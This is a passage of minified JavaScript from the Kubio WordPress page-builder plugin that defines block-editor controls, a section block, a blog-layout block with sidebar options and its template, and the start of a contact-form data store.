this.dataHelper.withParent()}get newColumnIndex(){var e;const t=this.rowDataHelper.withChildren();let o=0;return t.forEach(((e,t)=>{e.clientId===this.dataHelper.clientId&&(o=t)})),null!==(e=this.options)&&void 0!==e&&e.after?++o:o}}const Ca=(e,t,o)=>{new _a(e,t,o).add()},Ia=(e,t)=>{new va(e,t).add()},Ta=e=>{let{dataHelper:t}=e;const{clientId:o}=t,n=t.getProp("layout.equalWidth"),{ownerDocument:a}=Object(He.useOwnerDocumentContext)(),{insertBlock:l}=Object(Ve.useDispatch)("core/block-editor"),{nextColumnIndex:r,lastBlock:i}=Object(Ve.useSelect)((e=>{const t=e("core/block-editor").getBlockCount(o),n=Object(Be.last)(e("core/block-editor").getBlockOrder(o));return{nextColumnIndex:t,lastBlock:e("core/block-editor").getBlock(n)}})),c=n?Object(We.__)("Add list item","kubio"):Object(We.__)("Add new column","kubio");return Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.ToolbarButton,{icon:ma,label:c,onClick:()=>{if(n){const e=Object(Ge.cloneBlock)(i);l(e,r,o)}else{const e={createBlock:Ge.createBlock,insertBlock:l,ownerDocument:a};Ia(t,e)}}})))};var Sa=o(430);const wa={isAlternate:!0},Pa=Re.UIUtils.itemsPerRowOptions,Aa=e=>{let{dataHelper:t}=e;const o=t.getProp("layout.equalWidth"),n=Object(He.useActiveMedia)();if(!o)return Object(xe.createElement)(xe.Fragment,null);const a=t.getPropInMedia("layout.itemsPerRow",t.getProp("layout.itemsPerRow"),{media:n});return Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.Dropdown,{popoverProps:wa,renderToggle:e=>{let{onToggle:t,isOpen:o}=e;return Object(xe.createElement)(Le.ToolbarButton,{icon:Sa.a,label:Object(We.__)("Columns per row","kubio"),onClick:t,"aria-expanded":o,onKeyDown:e=>{o||e.keyCode!==ua.DOWN||(e.preventDefault(),e.stopPropagation(),t())}})},renderContent:()=>Object(xe.createElement)(Le.MenuGroup,{label:Object(We.__)("Items per row","kubio")},Object(xe.createElement)(Le.MenuItemsChoice,{choices:Pa.map((e=>{let{value:t}=e;return{value:t,label:Object(We.sprintf)(// translators: number of items per row
Object(We._n)("%d item","%d items",t,"kubio"),t)}})),value:a,onSelect:e=>{return o=e,void t.setPropInMedia("layout.itemsPerRow",o,{media:n});var o}}))})))},Ba=e=>{let{dataHelper:t}=e;const{canInsertBlockType:o}=Object(Ve.useSelect)((e=>e("core/block-editor")),[]),n=o(Yo.COLUMN,t.clientId);return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Aa,{dataHelper:t}),n&&Object(xe.createElement)(Ta,{dataHelper:t}))},Na=e=>{var t;let{dataHelper:o}=e;const n=o.withChildren(),a=(e=>Ne.a.find(e,(e=>{if(e.getProp("meta.isHeader"))return!0})))(n),l=null===(t=Ne.a.first(n.filter((e=>e.clientId!==(null==a?void 0:a.clientId)))))||void 0===t?void 0:t.clientId,{dataHelper:r}=Object(He.useKubioDataHelper)({clientId:l});return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(ra,{dataHelper:o}),Object(xe.createElement)(ba,{dataHelper:o}),!!r&&Object(xe.createElement)(Ba,{dataHelper:r}))},xa=e=>{let{dataHelper:t}=e;const o=Object(Ve.useSelect)((e=>({getClientIdsWithDescendants:e("core/block-editor").getClientIdsWithDescendants,getBlock:e("core/block-editor").getBlock}))),{canInsertBlockType:n}=Object(Ve.useSelect)((e=>e("core/block-editor")),[]),{clientId:a}=t,{clientId:l}=t.withParent(),{insertBlock:r}=Object(Ve.useDispatch)("core/block-editor"),{sectionIndex:i}=Object(Ve.useSelect)((e=>({sectionIndex:e("core/block-editor").getBlocks(l).map((e=>{let{clientId:t}=e;return t})).indexOf(a)}))),c=function(){let{after:e=!1}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=e?i+1:i,n=Kn(),{anchor:a,name:c}=Object(un.getNextSectionNameAndId)(Object(We.__)("Custom section","kubio"),o);n.attributes={anchor:a,attrs:{name:c}},r(n,Math.max(t,0),l)};return n(Yo.SECTION,l)?Object(xe.createElement)(De.BlockSettingsMenuControls,null,Object(xe.createElement)(Le.MenuGroup,{className:"kubio-block-settings-control"},Object(xe.createElement)(Le.MenuItem,{onClick:()=>c()},Object(We.__)("Add section before","kubio")),Object(xe.createElement)(Le.MenuItem,{onClick:()=>c({after:!0})},Object(We.__)("Add section after","kubio")))):Object(xe.createElement)(xe.Fragment,null)},Ra=[Yo.ROW],Da=e=>{const{StyledElements:t,Separators:o,Background:n,innerProps:a={},isSelected:l,dataHelper:r,template:i,templateLock:c=!1,showSectionOptions:s=!0,menuItems:u=Jn,showStructure:p,clientId:b,isHero:m}=e,{sectionOptionsProps:d,containerProps:h}=Cn({enabled:s,menuItems:u}),O=$o(a,{template:i,templateLock:c,allowedBlocks:Ra,orientation:"vertical",renderAppender:!1});return p&&(O.children=Object(xe.createElement)(Re.LayoutPicker,{clientId:b,disableFPS:!0,replaceBlockInsteadInsert:!0,defaultDisplayStructure:m})),Object(xe.createElement)(xe.Fragment,null,l&&Object(xe.createElement)(Na,{dataHelper:r}),l&&Object(xe.createElement)(xa,{dataHelper:r}),Object(xe.createElement)(t.Outer,h,s&&Object(xe.createElement)(In,Object(ut.a)({},d,{dataHelper:r})),Object(xe.createElement)(n,null),Object(xe.createElement)(o,null),Object(xe.createElement)(t.Inner,O)))},La=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{computed:t={}}=e;return{[ta]:{"data-slug":()=>{const{anchor:e}=t;return e},className:()=>cn.FlexAlign.getVAlignClasses(t.verticalAlignByMedia)},[oa]:{className:()=>{const{widthType:e=Vn.BOXED}=t,o=[];return Yn[e]&&o.push(Yn[e]),o}}}},Ma=(e,t)=>({verticalAlignByMedia:e.getPropByMedia("verticalAlign"),widthType:e.getProp("width",void 0),anchor:e.getAttribute("anchor")}),Wa=e=>{const{mapper:t=(()=>{}),...o}=e,n=Object(Me.compose)(Object(Me.createHigherOrderComponent)((e=>t=>{const{clientId:o,dataHelper:n={}}=t,[a,l]=Object(xe.useState)(!1),r=Object(Ve.useSelect)((e=>e("core/block-editor").getBlockCount(o)),[]),i=Object(xe.useRef)(r);return Object(xe.useEffect)((()=>{l(0===r)}),[r,i]),Object(xe.createElement)(e,Object(ut.a)({},t,{showStructure:a},void 0))})),Object(He.withColibriDataAutoSave)(Ma),Object(He.withStyledElements)(La,t),Object(He.withContainerBase)(),(e=>Object(Me.createHigherOrderComponent)((t=>o=>Object(xe.createElement)(t,Object(ut.a)({},o,e)))))(o));return{Section:n(Da)}},Ha=Wa({}).Section,{Section:Ga}=Wa({templateLock:"insert",showSectionOptions:!1});var Ua={NO_SIDEBAR:on.QueryLayoutIcon1,SIDEBAR_LEFT:on.QueryLayoutIcon2,SIDEBAR_RIGHT:on.QueryLayoutIcon3};const Fa={NO_SIDEBAR:"noSidebar",SIDEBAR_LEFT:"sidebarLeft",SIDEBAR_RIGHT:"sidebarRight"},za={queryLayout:{options:[{label:Object(We.__)("No sidebar","kubio"),value:Fa.NO_SIDEBAR,icon:Ua.NO_SIDEBAR},{label:Object(We.__)("Left sidebar","kubio"),value:Fa.SIDEBAR_LEFT,icon:Ua.SIDEBAR_LEFT},{label:Object(We.__)("Right sidebar","kubio"),value:Fa.SIDEBAR_RIGHT,icon:Ua.SIDEBAR_RIGHT}],values:Fa},queryColumnSizes:{desktop:Mn(),tablet:Mn(),mobile:Ln(100)}},Va="query",Ya="sidebar",$a="internal.queryLayout.type",Ka={};Ne.a.set(Ka,$a,Ya);const qa=e=>{const t=(e=>Object(He.composeBlockWithStyle)(Yo.SIDEBAR,{attributes:{slug:null,theme:e}}))(e);return Nn({_style:Dn({},Ln(25),Ln(100),Ln(33)),props:Ka},[t])},Xa=qa(),Qa=e=>{const t=za.queryLayout.values,{moveBlocksUp:o,replaceInnerBlocks:n}=Object(Ve.useDispatch)("core/block-editor"),a=Object(Ve.useSelect)((e=>{var t;return null===(t=e("core").getCurrentTheme())||void 0===t?void 0:t.stylesheet})),{getBlocks:l}=Object(Ve.useSelect)("core/block-editor"),r=e.withChildren({}),i=Ne.a.get(r,0,null),c=null==i?void 0:i.withChildren();function s(e){let t=null;return((null==i?void 0:i.withChildren())||[]).forEach((o=>{o.getProp($a)===e&&(t=o)})),t}Za(i);const u=s(Va),p=s(Ya),[b,m]=Object(xe.useState)(u&&!p?t.NO_SIDEBAR:function(){const e=Ne.a.get(c,0);return(null==e?void 0:e.getProp($a))===Va}()?t.SIDEBAR_RIGHT:t.SIDEBAR_LEFT);function d(){const e=za.queryColumnSizes;i.setProp("layout.equalWidth",!1),Ne.a.each(e,((e,t)=>{u.setStyle("columnWidth",e,{styledComponent:"container",local:!0,media:t})}))}const h=Object(He.useGroupDispatch)();return{value:b,options:za.queryLayout.options,onChange:e=>{h((()=>(m(e),async function(e){switch(b){case t.SIDEBAR_LEFT:case t.SIDEBAR_RIGHT:e===t.NO_SIDEBAR?async function(){const e=i.clientId,t=l(e).filter((e=>(null==e?void 0:e.clientId)!==p.clientId));await n(e,t),d()}():function(e,n){const a=i.clientId;e===t.SIDEBAR_LEFT&&n===t.SIDEBAR_RIGHT&&o([p.clientId],a,!0),e===t.SIDEBAR_RIGHT&&n===t.SIDEBAR_LEFT&&o([u.clientId],a,!0)}(e,b);break;case t.NO_SIDEBAR:await async function(e){const o=i.clientId,r=qa(a),[c,s,u]=r,p=Object(Ge.createBlock)(c,s,Object(He.convertTemplateFormatToBlock)(u)),b=Ne.a.cloneDeep(l(o)),m=e===t.SIDEBAR_LEFT?0:1;b.splice(m,0,p),await n(o,b),d()}(e)}}(e))))}}};function Za(e){Object(xe.useEffect)((()=>{"all"===e.getAttribute("templateLock")&&e.silent((()=>e.setAttribute("templateLock","insert")))}),[])}const Ja=Object(He.withComputedData)((e=>({rowDataHelper:Ne.a.get(e.withChildren(),"0"),layout:Qa(e)})))((e=>{let{computed:t}=e;const{layout:o,rowDataHelper:n}=t;return Za(n),Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SelectWithIconControl,Object(ut.a)({label:Object(We.__)("Layout","kubio")},o)))})),el=Object(Me.compose)([Object(He.withComputedData)((e=>{var t;const o=e.useStylePath("customHeight",{styledComponent:ta});return{showContentPosition:!!o.value&&(null==o||null===(t=o.value)||void 0===t?void 0:t.type)!==cn.HeightTypesEnum.FIT_TO_CONTENT,heightProps:o}}))])((e=>{let{computed:t}=e;const{heightProps:o,showContentPosition:n}=t;return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Layout structure","kubio")},Object(xe.createElement)(Ja,null),Object(xe.createElement)(Re.SelectControlWithPath,{options:$n,label:Object(We.__)("Container width","kubio"),type:He.WithDataPathTypes.PROP,path:"width"}),Object(xe.createElement)(Re.CustomHeightControl,Object(ut.a)({label:Object(We.__)("Container height","kubio")},o)),n&&Object(xe.createElement)(Re.VerticalAlignControlWithPath,{label:Object(We.__)("Content position","kubio"),path:"verticalAlign",type:He.WithDataPathTypes.PROP}))}));var tl=o(26);const ol=Object(He.withComputedData)((e=>{const{globalStyle:t}=Object(tl.useGlobalDataStyle)(),o={styledComponent:"sectionSpacing"};return{globalTopSpacing:t.getStyle("padding.top",{},o),globalBottomSpacing:t.getStyle("padding.bottom",{},o)}}))((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{globalTopSpacing:t,globalBottomSpacing:o}=e;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Spacing","kubio"),initialOpen:!1},Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Top spacing","kubio"),path:"padding.top",max:200,defaultValue:t,style:ta,type:"style"}),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Bottom spacing","kubio"),path:"padding.bottom",max:200,defaultValue:o,style:ta,type:"style"}))})),nl=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(el,null),Object(xe.createElement)(ol,null)),al=e=>Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Dividers","kubio"),initialOpen:!1},Object(xe.createElement)(Re.DividersControlWithPath,{style:ta,type:He.WithDataPathTypes.STYLE,path:"separators"})),ll=()=>{const e=Ne.a.get(na,ta);return Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Re.BackgroundSection,{styledElement:e}),Object(xe.createElement)(al,null))};var rl=Object(Me.compose)([])(Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(nl,null),Object(xe.createElement)(ll,null),Object(xe.createElement)(Ga,e))})));const il={};Ne.a.set(il,$a,Va);const cl=Object(He.composeBlockWithStyle)(Yo.LOOP,{}),sl=Object(He.composeBlockWithStyle)(Yo.QUERY,{attributes:{useMainQuery:!0}},[cl]),ul=Nn({_style:Dn({},Mn(),Ln(100)),props:il},[sl]),pl=[Pn({props:{layout:{equalWidth:!1}},attributes:{templateLock:"all"}},[ul,Xa])];o(43);const bl=[{name:"default",isDefault:!0,title:Object(We.__)("Blog layout","kubio"),description:Object(We.__)("This block allows you to add the posts list together with a sidebar to a page. You can delete the sidebar, or place it to the left or right of the posts.","kubio"),attributes:{},innerBlocks:[["kubio/row",{kubio:{id:"iwj0nev3een",style:{},props:{layout:{equalWidth:!1}},_props:{},_style:{}},templateLock:"insert"},[["kubio/column",{kubio:{id:"LSEqtRcje5n",style:{},props:{internal:{queryLayout:{type:"query"}}},_props:{},_style:{descendants:{container:{columnWidth:{type:"flexgrow",custom:{value:"",unit:"%"}},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}},tablet:{}}}}}}},[["kubio/query",{queryId:2,useMainQuery:!0,query:{perPage:10,pages:1,offset:0,postType:"post",order:"desc",orderBy:"date",search:"",exclude:[5],sticky:""},kubio:{}},[["kubio/query-loop",{kubio:{id:"_hhkgSES9",props:{layout:{equalWidth:!0,equalHeight:!0,itemsPerRow:2,horizontalGap:2,verticalGap:2,horizontalInnerGap:2,verticalInnerGap:2},media:{mobile:{layout:{horizontalGap:2}}}},hash:"5309127c"},masonry:!0,notFound:"No {post_title} found!"},[["kubio/query-loop-item",{kubio:{id:"Xx32xHniG",style:{descendants:{inner:{boxShadow:{enabled:!1,layers:[{color:"rgba(0, 0, 0, 0.3)",blur:"6",spread:"0",x:"0",y:"3",inset:""}]},border:{right:{radius:{left:{value:8,unit:"px"},right:{value:8,unit:"px"}}},left:{radius:{left:{value:8,unit:"px"},right:{value:8,unit:"px"}}}},textAlign:"left",background:{color:"rgba(var(--kubio-color-5),1)"}}}},props:{layout:{horizontalInnerGap:3,verticalInnerGap:3}},hash:"0792a54c"},slug:"default",label:"Default"},[["kubio/post-featured-image",{kubio:{id:"g1cYONRpGR",style:{descendants:{container:{border:{top:{radius:{left:{value:0,unit:"px"},right:{value:0,unit:"px"}}},bottom:{radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}}}},background:{color:"rgba(var(--kubio-color-5-variant-2),1)"}},image:{object:{position:"top center"}}}},hash:"8b8dc586",props:{aspectRatio:"4-3"}},showPlaceholder:!0,imageSize:"cover",addLink:!0},[]],["kubio/row",{kubio:{id:"PuWavpDZrv",props:{layout:{itemsPerRow:3,equalWidth:!1,equalHeight:!0,horizontalGap:0,verticalGap:0,horizontalInnerGap:0,verticalInnerGap:0,horizontalAlign:"start"}},hash:"23c17f54",style:{descendants:{container:{margin:{bottom:{value:4,unit:"px"}}}}}}},[["kubio/column",{kubio:{id:"q4qXv_V8VQ",style:{descendants:{inner:{textAlign:"left"}}},props:{layout:{verticalAlign:"center",horizontalInnerGap:0,verticalInnerGap:0}},_style:{descendants:{container:{media:{tablet:{columnWidth:{type:"fitToContent",custom:{value:33.33,unit:"%"}}},mobile:{columnWidth:{type:"fitToContent",custom:{value:100,unit:"%"}}}},columnWidth:{type:"fitToContent",custom:{value:33.33,unit:"%"}}}}},hash:"25df40a7"}},[["kubio/post-categories",{kubio:{id:"RNKAhaHrl1",hash:"1b762a4e",style:{descendants:{link:{typography:{size:{value:13,unit:"px"},transform:"",color:"rgba(var(--kubio-color-1),1)"},states:{hover:{typography:{color:"rgba(var(--kubio-color-1-variant-4),1)"}}}},placeholder:{typography:{size:{value:13,unit:"px"},transform:"",letterSpacing:{value:"",unit:"px"},weight:400,color:"rgba(var(--kubio-color-5-variant-5),1)"},padding:{right:{value:10,unit:"px"}}},separator:{padding:{right:{value:10,unit:"px"}}}}}},separator:"|",placeholder:"No category "},[]]]],["kubio/column",{kubio:{id:"AeNoy-KXLu",props:{layout:{verticalAlign:"center",horizontalInnerGap:1,verticalInnerGap:0}},_style:{descendants:{container:{columnWidth:{type:"fitToContent",custom:{value:"",unit:"%"}},media:{mobile:{columnWidth:{type:"fitToContent",custom:{value:100,unit:"%"}}}}}}},hash:"0c072730",style:{descendants:{inner:{padding:{left:{value:0,unit:"px"}}}}}}},[["kubio/icon",{kubio:{id:"NE5ef6k0TU",props:{horizontalAlign:"center"},style:{descendants:{inner:{fill:"rgba(var(--kubio-color-6),1)",width:{value:6,unit:"px"},height:{value:6,unit:"px"},states:{hover:{background:{color:"rgba(45, 45, 134, 0)"},fill:"rgba(var(--kubio-color-1),1)"}},border:{top:{width:{value:"1",unit:"px"},color:"rgb(125, 79, 79)"},right:{width:{value:"1",unit:"px"},color:"rgb(125, 79, 79)"},bottom:{width:{value:"1",unit:"px"},color:"rgb(125, 79, 79)"},left:{width:{value:"1",unit:"px"},color:"rgb(125, 79, 79)"}}}}},hash:"7c4f1463"},link:{value:"",typeOpenLink:"sameWindow",noFollow:!1,lightboxMedia:""},name:"font-awesome/circle"},[]]]],["kubio/column",{kubio:{id:"AWwRj8w3Vy",props:{layout:{verticalAlign:"center"}},_style:{descendants:{container:{media:{tablet:{columnWidth:{type:"fitToContent",custom:{value:33.33,unit:"%"}}},mobile:{columnWidth:{type:"fitToContent",custom:{value:100,unit:"%"}}}},columnWidth:{type:"fitToContent",custom:{value:33.33,unit:"%"}}}}},hash:"3bd917a8"}},[["kubio/post-meta",{kubio:{id:"HIQgHOFXS0",hash:"767b4358",style:{descendants:{metaDataLinks:{typography:{color:"rgba(var(--kubio-color-5-variant-4),1)",size:{value:13,unit:"px"}}}}}},separator:"-",showIcons:!1,dateFormat:"F j, Y",metadata:[{value:"author",name:"Author",check:!1,icon:"icons8-line-awesome/user",id:0,prefix:"",suffix:""},{value:"date",name:"Date",check:!0,icon:"icons8-line-awesome/calendar",id:1,prefix:"",suffix:""},{value:"time",name:"Time",check:!1,icon:"icons8-line-awesome/clock-o",id:2,prefix:"",suffix:""},{value:"comments",name:"Comments",check:!1,icon:"icons8-line-awesome/comments",id:3,prefix:"",suffix:""}]},[]]]]]],["kubio/post-title",{kubio:{id:"KD7Uy-41bO",style:{descendants:{container:{textAlign:"left"}}},hash:"181b09b0"},headingType:"h4"},[]],["kubio/post-excerpt",{kubio:{id:"a3BbbcKmXS",style:{descendants:{text:{typography:{family:"Mulish",weight:400}}}},hash:"8e948fac"},content:"",dropCap:!1,wordCount:18},[]],["kubio/divider",{kubio:{id:"qtSV0ZxZUW",props:{type:"line"},style:{descendants:{line:{width:{value:100,unit:"%"},border:{top:{style:"solid"},left:{style:"solid"},right:{style:"solid"},bottom:{width:{value:1,unit:"px"},color:"rgba(var(--kubio-color-6),0.2)",style:"solid"}}},outer:{padding:{bottom:{value:"10",unit:"px"},top:{value:"10",unit:"px"}}},inner:{fill:"rgba(var(--kubio-color-1),1)",width:{value:50,unit:"px"},height:{value:50,unit:"px"},margin:{left:{value:"10",unit:"px"},right:{value:"10",unit:"px"}}}}},hash:"795e62cc"},iconName:"font-awesome/star"},[]]]]]],["kubio/query-pagination",{kubio:{id:"2Bmjjko-v",props:{layout:{equalWidth:!1,verticalAlign:"center",horizontalAlign:"center",horizontalGap:0},media:{tablet:{layout:{horizontalGap:2}}}},hash:"09d9e194"}},[["kubio/column",{kubio:{id:"yEw7knvl5",_style:{descendants:{container:{columnWidth:{type:"fitToContent"},media:{mobile:{columnWidth:{type:"fitToContent",custom:{value:100,unit:"%"}}}}}}},style:{descendants:{container:{textAlign:"left"}}},props:{layout:{verticalAlign:"center",horizontalInnerGap:0}},hash:"053fa70e"}},[["kubio/pagination-nav-button",{kubio:{id:"Cs42TiEkx",props:{showIcon:!1,iconPosition:"before",buttonSize:"medium",buttonWidth:"fitToContent"},style:{descendants:{icon:{margin:{right:{value:10,unit:"px"},left:{value:0,unit:"px"}},size:{unit:"px",value:"12"}},link:{typography:{color:"rgba(var(--kubio-color-6-variant-4),1)",size:{unit:"px",value:14},weight:"600",transform:"",lineHeight:{value:"1",unit:""},letterSpacing:{value:"1",unit:"px"}},states:{hover:{border:{top:{color:"rgba(var(--kubio-color-6-variant-4),1)"},bottom:{color:"rgba(var(--kubio-color-6-variant-4),1)"},left:{color:"rgba(var(--kubio-color-6-variant-4),1)"},right:{color:"rgba(var(--kubio-color-6-variant-4),1)"}}}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"24"},right:{unit:"px",value:"24"}},border:{top:{radius:{left:{value:0,unit:"px"},right:{value:0,unit:"px"}},color:"rgba(var(--kubio-color-6),0.2)",style:"solid",width:{value:1,unit:"px"}},bottom:{radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}},color:"rgba(var(--kubio-color-6),0.2)",style:"solid",width:{value:1,unit:"px"}},left:{color:"rgba(var(--kubio-color-6),0.2)",style:"solid",width:{value:1,unit:"px"}},right:{color:"rgba(var(--kubio-color-6),0.2)",style:"solid",width:{value:1,unit:"px"}}}}}},hash:"7a270264"},text:"Previous",icon:{name:"ionicons/ios-arrow-left"},action:"prev"},[]]]],["kubio/column",{kubio:{id:"EnvaR_1rs",style:{descendants:{container:{textAlign:"center"}}},_style:{descendants:{container:{columnWidth:{type:"flexgrow"},media:{mobile:{columnWidth:{type:"flexgrow",custom:{value:100,unit:"%"}}}}}}},hash:"01a62b68"}},[["kubio/pagination-numbers",{kubio:{id:"ExYZYF5nj",hash:"583da335",style:{descendants:{numbers:{typography:{color:"rgba(var(--kubio-color-6-variant-4),1)"},background:{color:"rgba(var(--kubio-color-5),0)"},states:{hover:{typography:{color:"rgba(var(--kubio-color-1),1)"}}},padding:{top:{value:6,unit:"px"},bottom:{value:6,unit:"px"},left:{value:12,unit:"px"},right:{value:12,unit:"px"}},border:{top:{radius:{left:{value:3,unit:"px"},right:{value:3,unit:"px"}}},bottom:{radius:{right:{value:3,unit:"px"},left:{value:3,unit:"px"}}}}},general:{padding:{left:{value:2,unit:"px"},right:{value:2,unit:"px"}},typography:{transform:"",weight:400}},current:{background:{color:"rgba(var(--kubio-color-5),0)"},typography:{color:"rgba(var(--kubio-color-1),1)"},padding:{top:{value:6,unit:"px"},bottom:{value:6,unit:"px"},left:{value:12,unit:"px"},right:{value:12,unit:"px"}},border:{top:{radius:{left:{value:0,unit:"px"},right:{value:0,unit:"px"}}},bottom:{radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}}}},states:{hover:{border:{top:{color:"rgba(var(--kubio-color-1),1)"},right:{color:"rgba(var(--kubio-color-1),1)"},bottom:{color:"rgba(var(--kubio-color-1),1)"},left:{color:"rgba(var(--kubio-color-1),1)"}}}}},outer:{textAlign:"center"},dots:{typography:{weight:300}}}}}},[]]]],["kubio/column",{kubio:{id:"6pgoLrKo1",_style:{descendants:{container:{columnWidth:{type:"fitToContent"},media:{mobile:{columnWidth:{type:"fitToContent",custom:{value:100,unit:"%"}}}}}}},style:{descendants:{container:{textAlign:"right"}}},props:{layout:{verticalAlign:"center",horizontalInnerGap:0}},hash:"bd9e35d0"}},[["kubio/pagination-nav-button",{kubio:{id:"FVsNrcWEk",props:{showIcon:!1,iconPosition:"after",buttonSize:"medium",buttonWidth:"fitToContent"},style:{descendants:{icon:{margin:{right:{value:0,unit:"px"}},size:{unit:"px",value:"12"}},link:{typography:{color:"rgba(var(--kubio-color-6-variant-4),1)",size:{unit:"px",value:14},weight:600,transform:"",lineHeight:{value:"1",unit:""},letterSpacing:{value:"1",unit:"px"}},states:{hover:{border:{top:{color:"rgba(var(--kubio-color-6-variant-4),1)"},bottom:{color:"rgba(var(--kubio-color-6-variant-4),1)"},left:{color:"rgba(var(--kubio-color-6-variant-4),1)"},right:{color:"rgba(var(--kubio-color-6-variant-4),1)"}}}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"24"},right:{unit:"px",value:"24"}},border:{top:{style:"solid",width:{value:1,unit:"px"},radius:{left:{value:0,unit:"px"},right:{value:0,unit:"px"}},color:"rgba(var(--kubio-color-6),0.2)"},right:{style:"solid",width:{value:1,unit:"px"},color:"rgba(var(--kubio-color-6),0.2)"},bottom:{style:"solid",width:{value:1,unit:"px"},radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}},color:"rgba(var(--kubio-color-6),0.2)"},left:{style:"solid",width:{value:1,unit:"px"},color:"rgba(var(--kubio-color-6),0.2)"}}}}},hash:"ed9ed6f8"},text:"Next",icon:{name:"ionicons/ios-arrow-right"},action:"next"},[]]]]]]]]]],["kubio/column",{kubio:{id:"RhZw9xa-781",style:{},props:{internal:{queryLayout:{type:"sidebar"}}},_props:{},_style:{descendants:{container:{columnWidth:{type:"custom",custom:{value:25,unit:"%"}},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}},tablet:{columnWidth:{type:"custom",custom:{value:33,unit:"%"}}}}}}}}},[["kubio/sidebar",{slug:null,kubio:{id:"461iWpMuGOE",style:{},_props:{},_style:{}},tagName:"div"},[]]]]]]]}];Object(Ae.addFilter)("kubio.beforeInsertBlock",Yo.QUERY_LAYOUT,(function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if((null==e?void 0:e.name)!==Yo.QUERY_LAYOUT)return e;const o=Object(We.__)("Blog Layout","kubio"),{anchor:n,name:a}=Object(un.getNextSectionNameAndId)(o,t);return e.initialAttributes.anchor=n,e.initialAttributes.attrs={name:a},e}));const ml={name:"kubio/query-layout",category:"kubio-blog-components"},dl=Ne.a.merge({},{name:"kubio/section",title:"Section",category:"kubio-layout",attributes:{kubio:{type:"object"},attrs:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["d-flex","h-section-global-spacing"]},supports:{background:!0,separator:!0}},inner:{props:{className:["h-section-grid-container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{style:{customHeight:{type:"fit-to-content"}},props:{width:"boxed",verticalAlign:"center"}}}}},ml),hl=Object(nn.extendBlockMeta)(dl,{title:Object(We.__)("Blog layout","kubio"),icon:on.BlockIcons.BlogLayout,keywords:[],apiVersion:2,supports:{kubio:{elementsByName:na},anchor:!0,reusable:!1,html:!1,multiple:!1},variations:bl,edit:rl,save:function(e){return Object(xe.createElement)(De.InnerBlocks.Content,null)}}),Ol=e=>{var t;if(!e)return;const{metadata:o,settings:n}=e,{name:a}=o;void 0===(null==n||null===(t=n.supports)||void 0===t?void 0:t.html)&&Object(Be.set)(n,"supports.html",!1),n.variations&&n.variations.map((e=>Object(un.normalizeVariation)(e))),o&&Object(Ge.unstable__bootstrapServerSideBlockDefinitions)({[a]:o}),Object(Be.isFunction)(n.edit)&&(n.edit.displayName=`@BlockEdit:${a}`),Object(Ge.registerBlockType)(a,n)},gl={},yl=function(e){if(!(arguments.length>1&&void 0!==arguments[1]&&arguments[1]||window.isKubioBlockEditor))return;const t=e.metadata.name;Object(Ae.addFilter)("blocks.registerBlockType",`kubio/replace-lock/${t}`,((o,n)=>(n!==t||gl[t]||(gl[t]=!0,setTimeout((()=>{Object(Ge.unregisterBlockType)(t),Ol(e)}))),o)))};var jl=o(54),kl=o.n(jl);const El={forms:{},loading:!0,errors:!1},fl=e=>{let{storeKey:t,shortcodeTagByType:o,labelsByType:n,apiPath:a}=e;return Object(Ve.registerStore)(t,{reducer:function(){let e=arguments.length>1?arguments[1]:void 0;return{...arguments.length>0&&void 0!==arguments[0]?arguments[0]:El,[e.type]:e.value}},actions:{setForms:e=>({type:"forms",value:e}),setLoading:e=>({type:"loading",value:e}),setErrors:e=>({type:"errors",value:e})},selectors:{getForms:e=>e.forms,getLoading:e=>e.loading,getErrors:e=>e.errors,getFormOptions:e=>{const t=e.forms;return Object.keys(t).map((e=>{const a=Object(Be.get)(t,e,[]).map((e=>({...e,value:String(e.value)})));return{label:Object(Be.get)(n,e,e),items:a,value:Object(Be.get)(o,e,e)}}))}}}),{useFormApi:()=>{const{getForms:e,getLoading:o,getErrors:n,getFormOptions:l}=Object(Ve.useSelect)((e=>e(t))),{setForms:r,setLoading:i,setErrors:c}=Object(Ve.useDispatch)(t),s=()=>{i(!0),(async()=>kl()({path:Object(bt.addQueryArgs)(a)}))().then((e=>{r(e),i(!1)})).catch((e=>{var t;r({}),t=e,console.group(Object(We.__)("Contact Form Api Errors","kubio")),console.error(t),console.groupEnd(),c(e),i(!1)}))};return{init:Object(Be.once)((()=>{s()})),getForms:e,getFormOptions:l,retrieve:s,isLoading:()=>o(),getErrors:n}}}},vl={forminator:Object(We.__)("Forminator","kubio"),contactForm7:Object(We.__)("Contact Form 